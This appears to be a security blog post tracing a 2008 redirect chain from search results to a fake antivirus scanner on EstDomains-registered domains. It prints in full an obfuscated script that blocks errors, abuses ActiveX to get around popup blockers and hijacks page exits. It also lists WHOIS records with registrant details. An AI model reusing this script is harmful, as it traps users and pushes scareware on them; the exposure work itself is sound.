Estdomains ... Bad To The Bone
Estdomains ... as if selling malicious adverts to Yahoo ain't enough; hey why not earn a few bucks more when you know that people will use search engines to find & solve similar problems ...
Scenario.
I got a malicious redirect on Yahoo, I search the web for similar problems.
Act.
Fire up Google, keywords:
Yahoo banner redirects. Let's admit you click on the second link because the description is very similar to what you did experience ...

Hmm, the page we see doesn't reflect what we saw in google. Instead we land on another search engine.

Ah well, lets close the window then. Oh NO ... not again ... not another alert. Sorry to say so but yes ... unfortunately exactly the same type of alert we see with the malicious Flash banners.

Where the hell did this came from?We need to examine the source code of the webpage we asked for -
abc01.my5gb.com/yahoo-pi0a/yahoo-banner-ads.html - A quick look reveals the presence of a script before the webpage is loaded.

We are redirected to
w1_abc01m_yahoo-pi0a.teachingrank.net/images/header.php which contains a function called
LoadAd which redirects us to
abc01m_yahoo-pi0a.teachingrank.net/index.html

index.html contains another script that lead us to
fastwebway.com/exit.php?aid=0253&d=3&product=XPAThat page contains a rather complex script, checking different things ...
CODE
var url2go="http://fastwebway.com/soft.php?aid=0253&d=3&product=XPA";var
axkoord=new Array();var AXsizeres=new Array();function blockError(){return
true;}
window.onerror=blockError;if(window.SymRealWinOpen){window.open=SymRealWinOpen;}
if(window.NS_ActualOpen){window.open=NS_ActualOpen;}if(typeof
(usingClick)=="undefined"){var usingClick=false;}if(typeof
(usingActiveX)=="undefined"){var usingActiveX=false;}if(typeof
(popwin)=="undefined"){var popwin=null;}
if(typeof (poped)=="undefined"){var poped=false;}var blk=1;var
setupClickSuccess=false;var googleInUse=false;var pop="enter";var
myurl=document.location.protocol+"//"+document.location.host;var durl="";var
MAX_TRIED=20;var activeXTried=false;var tried=0;var randkey="0";var myWindow;var
popWindow;var usingAXSuccess=0;
function
usingAX(){if(usingActiveX){try{if(usingAXSuccess<5){document.writeln("<DIV><OBJE
CT ID=\"OurPopupObject\" CLASSID=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\"
WIDTH=\"1\" HEIGHT=\"1\" STYLE=\"position: absolute; top: 0; left:
0;\"></OBJECT></DIV>");document.write("<INPUT STYLE=\"display:none;\"
ID=\"autoHit\" TYPE=\"TEXT\"
ONKEYPRESS=\"showActiveX()\">");popWindow=window.createPopup();
popWindow.document.body.innerHTML="<DIV ID=\"objectRemover\"><OBJECT
ID=\"getParentDiv\" STYLE=\"position:absolute;top:0px;left:0px;\" WIDTH=1
HEIGHT=1 DATA=\""+myurl+"/popuppopup.html\"
TYPE=\"text/html\"></OBJECT></DIV>";usingAXSuccess=6;}}catch(e){if(usingAXSucces
s<5){usingAXSuccess++;setTimeout("usingAX();",500);}else{
if(usingAXSuccess==5){activeXTried=true;setupClick();}}}}}function
tryActiveX(){if(!activeXTried&&!poped){try{OurPopupObj=document.getElementById("
OurPopupObject");OurPopupObj.DOM.Script.execScript("function paypopupPop()
{return
window.open('about:blank','Ads','scrollbars=no,resizable=no,menubar=no,location=
no,top="+axkoord["y"]+",left="+axkoord["x"]+",width="+AXsizeres["w"]+",height="+
AXsizeres["h"]+"');}");popwin=OurPopupObj.DOM.Script.paypopupPop();
if(popwin){popwin.location=url2go;poped=true;}if(usingAXSuccess==6&&googleInUse&
&popWindow&&popWindow.document.getElementById("getParentDiv")&&popWindow.documen
t.getElementById("getParentDiv").object&&popWindow.document.getElementById("getP
arentDiv").object.parentWindow){myWindow=popWindow.document.getElementById("getP
arentDiv").object.parentWindow;
}else{if(usingAXSuccess==6&&!googleInUse&&popIframe&&popIframe.getParentFrame&&p
opIframe.getParentFrame.object&&popIframe.getParentFrame.object.parentWindow){my
Window=popIframe.getParentFrame.object.parentWindow;popIframe.location.replace("
about:blank");}else{setTimeout("tryActiveX()",200);
tried++;if(tried>=MAX_TRIED&&!activeXTried){activeXTried=true;setupClick();}retu
rn;}}openAXsc();window.windowFired=true;}catch(e){setTimeout("tryActiveX()",200)
;tried++;}}}function
openAXsc(){if(!activeXTried&&!poped){if(myWindow&&window.windowFired){window.win
dowFired=false;document.getElementById("autoHit").fireEvent("onkeypress",(docume
nt.createEventObject().keyCode=escape(randkey).substring(1)));}else{
setTimeout("openAXsc();",100);}tried++;if(tried>=MAX_TRIED){activeXTried=true;se
tupClick();}}}function
showActiveX(){if(!activeXTried&&!poped){if(googleInUse){window.daChildObject=pop
Window.document.getElementById("objectRemover").children(0);window.daChildObject
=popWindow.document.getElementById("objectRemover").removeChild(window.daChildOb
ject);}newWindow=myWindow.open(url2go,"mywinv23","scrollbars=no,resizable=no,men
ubar=no,location=no,top="+axkoord["y"]+",left="+axkoord["x"]+",width="+AXsizeres
["w"]+",height="+AXsizeres["h"]);if(newWindow){newWindow.blur();activeXTried=tru
e;poped=true;
}else{if(!googleInUse){googleInUse=true;tried=0;tryActiveX();}else{activeXTried=
true;setupClick();}}}}function
paypopup(){if(!poped){if(!usingClick&&!usingActiveX){popwin=window.open(url2go,"
mywinv23","scrollbars=no,resizable=no,menubar=no,location=no,top="+axkoord["y"]+
",left="+axkoord["x"]+",width="+AXsizeres["w"]+",height="+AXsizeres["h"]);if(pop
win){poped=true;}}}if(!poped){if(usingActiveX){tryActiveX();}else{setupClick();}
}}function setupClick(){if(!poped&&!setupClickSuccess){
if(window.Event){document.captureEvents(Event.CLICK);}prePaypoponclick=document.
onclick;document.onclick=gopop;setupClickSuccess=true;}}function
gopop(){if(!poped){popwin=window.open(url2go,"mywinv23","scrollbars=no,resizable
=no,menubar=no,location=no,top="+axkoord["y"]+",left="+axkoord["x"]+",width="+AX
sizeres["w"]+",height="+AXsizeres["h"]);if(popwin){poped=true;}}if(typeof
(prePaypoponclick)=="function"){prePaypoponclick();}}function
detectGoogle(){if(usingActiveX){try{document.write("<DIV
STYLE=\"display:none;\"><OBJECT ID=\"detectGoogle\"
CLASSID=\"clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB\" STYLE=\"display:none;\"
CODEBASE=\"view-source:about:blank\"></OBJECT></DIV>");googleInUse|=(typeof
(document.getElementById("detectGoogle"))=="object");
}catch(e){setTimeout("detectGoogle();",50);}}}function version(){var os="W0";var
bs="I0";var _3=false;var
_4=window.navigator.userAgent;if(_4.indexOf("Win")!=-1){os="W1";}if(detectSP2())
{bs="I2";}else{if(_4.indexOf("Opera")!=-1){bs="I0";}else{if(_4.indexOf("Firefox"
)!=-1){bs="I0";}else{if(_4.indexOf("Microsoft")!=-1||_4.indexOf("MSIE")!=-1){bs=
"I1";}}}}if(top!=self){_3=true;}url2go=url2go;usingClick=blk&&((detectSP2())||(_
4.indexOf("Opera")!=-1)||(_4.indexOf("Firefox")!=-1));usingActiveX=blk&&(detectS
P2())&&!(_4.indexOf("Opera")!=-1)&&((_4.indexOf("Microsoft")!=-1)||(_4.indexOf("
MSIE")!=-1));detectGoogle();
}function detectSP2(){return
(window.navigator.userAgent.indexOf("SV1")!=-1||(navigator.appMinorVersion&&(nav
igator.appMinorVersion.indexOf("SP2")!=-1)));}version();function
ParseParams(_5,_6){var _7=_5.split(/\b\s*;\s*\b/);for(var
i=0;i<_7.length;i++){var
_9=_7[i].split(/\b\s*(=|\:)\s*\b/);axkoord[_9[0]]=_9[_9.length-1];}var
_a=_6.split(/\b\s*;\s*\b/);for(var i=0;i<_a.length;i++){var
_9=_a[i].split(/\b\s*(=|\:)\s*\b/);AXsizeres[_9[0]]=_9[_9.length-1];}}function
loadingPop(){ParseParams("x:0; y:0","w:"+window.screen.width+";
h:"+window.screen.height);if(!usingClick&&!usingActiveX){paypopup();}else{if(usi
ngActiveX){tryActiveX();}else{
setupClick();}}popwin.focus();}if(myurl==""){myurl=".";}usingAX();var
tergetURL=url2go;var exit=true;function sTb(){ParseParams("x:0;
y:0","w:"+window.screen.width+";
h:"+window.screen.height);if(exit){Player.controls.play();stb.DOM.Script.window.
open(tergetURL,"_blank","scrollbars=no,resizable=no,menubar=no,location=no,top="
+axkoord["y"]+",left="+axkoord["x"]+",width="+AXsizeres["w"]+",height="+AXsizere
s["h"]);if(window.attachEvent&&document.googleBar&&typeof
(googleBar.Search)!="undefined"){window.focus();}Player.controls.stop();window.f
ocus();}}window.onbeforeunload=sTb;document.write("<object id=Player
classid=\"CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6\" width=\"0\"
height=\"0\">");document.write("<param name=\"URL\" value=\"about:blank\">");
document.write("<PARAM name=\"uiMode\" value=\"none\">");document.write("<param
name=\"autoStart\" value=\"false\">");document.write("<param
name=\"ShowStatusBar\" value=\"0\"></object>");document.write("<object
id=\"stb\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" width=0
height=0></object>");
Anyways ... when we close the initial search window, we get our fake scanner warning and jump to
onlinexpscanner.com/2008/3/freescan.php?aid=880253


Domains
abc01.my5gb.com - 66.96.249.86IP Location - Queensland - Brisbane - Lithoptix
Domain Name: MY5GB.COM
Registrar: ENOM, INC.
Whois Server: whois.enom.com
Name Server: NS1.MY5GB.COM
Name Server: NS2.MY5GB.COM
Status: clientTransferProhibited
Updated Date: 27-feb-2008
Creation Date: 22-may-2007
Expiration Date: 22-may-2009
Name Servers:
ns1.my5gb.com
ns2.my5gb.com
______________________________
abc01m_yahoo-pi0a.teachingrank.net - 89.149.227.25Registration Service Provided By: ESTDOMAINS INC
Contact: +1.3027224217
Domain Name: TEACHINGRANK.NET
Server Type: Apache/2.2.3 (CentOS)
IP Location - Berlin - Berlin - Netdirekt E.k
Reverse IP: 48 other sites hosted on this server
Registrant:
Hampton
William M (WilliamMHampton@fontdrift.com)
112 Shady Pines Drive
Radcliff
Gulzhou,40160
CN
Tel. +270.9492330
Fax. +270.9492330
Creation Date:
19-Apr-2008 Expiration Date: 19-Apr-2009
Domain servers in listed order:
ns3.itsfreedns.com
ns2.itsfreedns.com
ns1.itsfreedns.com
______________________________
onlinexpscanner.com - 72.233.40.58Website Title: XP antivirus protection - Official web site
ICANN Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM
Created: 2008-03-20
Expires: 2009-03-20
Name Server: NS1.MYNICK.NAME (has 1,114 domains)
Name Server: NS2.MYNICK.NAME
Name Server: NS3.MYNICK.NAME
Name Server: NS4.MYNICK.NAME
Whois Server: whois.publicdomainregistry.com
Server Type: Apache
IP Location - Texas - Plano - Layered Technologies Inc
Dedicated Hosting: onlinexpscanner.com is hosted on a dedicated server.
______________________________
fastwebway.com - 72.36.198.5Website Title: 403 Forbidden
ICANN Registrar: ESTDOMAINS, INC.
Created: 2008-03-13
Expires: 2009-03-13
Name Server: MANAGEDNS1.ESTBOXES.COM (has 8,057 domains)
Name Server: MANAGEDNS2.ESTBOXES.COM
Name Server: MANAGEDNS3.ESTBOXES.COM
Name Server: MANAGEDNS4.ESTBOXES.COM
Whois Server: whois.estdomains.com
Server Type: Apache
IP Location - New York - New York - Layered Technologies Inc
Dedicated Hosting: fastwebway.com is hosted on a dedicated server.
Seen on March 23th - Ref.
______________________________
teachingrank.net being created on 19 th April 2008 ... isn't that a coincidence ...